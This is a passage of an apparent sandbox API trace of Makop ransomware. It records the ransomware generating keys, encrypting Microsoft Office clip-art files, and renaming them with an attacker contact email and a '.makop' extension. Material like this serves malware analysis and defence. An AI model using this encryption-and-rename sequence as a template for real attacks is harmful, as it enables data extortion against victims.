lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.713] GetProcessHeap () returned 0x48a0000 [0121.713] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.713] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.713] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.714] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.714] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.714] GetProcessHeap () returned 0x48a0000 [0121.714] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.714] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.714] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.714] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.718] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.718] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.718] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.719] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.719] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.719] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.719] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.719] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.719] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x22a0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x22a0, lpOverlapped=0x0) returned 1 [0121.721] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x22a0, dwBufLen=0x22a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x22a0) returned 1 [0121.721] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.721] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x22a0, lpOverlapped=0x0) returned 1 [0121.721] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.722] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.722] SetEndOfFile (hFile=0xf0) returned 1 [0121.729] GetProcessHeap () returned 0x48a0000 [0121.729] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.729] GetProcessHeap () returned 0x48a0000 [0121.729] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.729] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.730] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.731] CloseHandle (hObject=0xf0) returned 1 [0121.731] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107500.WMF", cAlternateFileName="")) returned 1 [0121.732] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF") returned 63 [0121.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.733] GetProcessHeap () returned 0x48a0000 [0121.733] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.733] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.733] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.733] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.738] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.738] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.738] GetProcessHeap () returned 0x48a0000 [0121.738] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.738] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.738] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.738] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.738] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.739] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.739] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.739] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.739] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.739] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.740] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.740] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.740] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1068, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1068, lpOverlapped=0x0) returned 1 [0121.741] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1070, dwBufLen=0x1070 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1070) returned 1 [0121.741] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.742] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1070, lpOverlapped=0x0) returned 1 [0121.742] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.742] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.742] SetEndOfFile (hFile=0xf0) returned 1 [0121.749] GetProcessHeap () returned 0x48a0000 [0121.749] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.749] GetProcessHeap () returned 0x48a0000 [0121.749] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.749] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.749] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.750] CloseHandle (hObject=0xf0) returned 1 [0121.751] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107502.WMF", cAlternateFileName="")) returned 1 [0121.751] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0121.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.752] GetProcessHeap () returned 0x48a0000 [0121.752] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.752] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.752] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.752] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0121.757] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.757] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.757] GetProcessHeap () returned 0x48a0000 [0121.757] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.757] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.757] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.757] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.757] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.758] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.758] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.758] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.758] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.759] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.759] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.759] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2a54, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2a54, lpOverlapped=0x0) returned 1 [0121.763] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a60, dwBufLen=0x2a60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2a60) returned 1 [0121.763] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.763] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2a60, lpOverlapped=0x0) returned 1 [0121.763] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.763] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.764] SetEndOfFile (hFile=0xf0) returned 1 [0121.771] GetProcessHeap () returned 0x48a0000 [0121.771] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.771] GetProcessHeap () returned 0x48a0000 [0121.771] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.771] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.773] CloseHandle (hObject=0xf0) returned 1 [0121.773] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107512.WMF", cAlternateFileName="")) returned 1 [0121.773] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF") returned 63 [0121.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.774] GetProcessHeap () returned 0x48a0000 [0121.774] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.774] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.774] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.779] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.779] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.779] GetProcessHeap () returned 0x48a0000 [0121.779] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.779] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.779] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.779] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.779] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.780] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.780] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.780] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.780] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.780] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.780] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.780] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.780] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2c8c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2c8c, lpOverlapped=0x0) returned 1 [0121.782] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c90, dwBufLen=0x2c90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c90) returned 1 [0121.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.782] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2c90, lpOverlapped=0x0) returned 1 [0121.783] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.783] SetEndOfFile (hFile=0xf0) returned 1 [0121.790] GetProcessHeap () returned 0x48a0000 [0121.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.790] GetProcessHeap () returned 0x48a0000 [0121.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.790] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.790] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.791] CloseHandle (hObject=0xf0) returned 1 [0121.791] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107514.WMF", 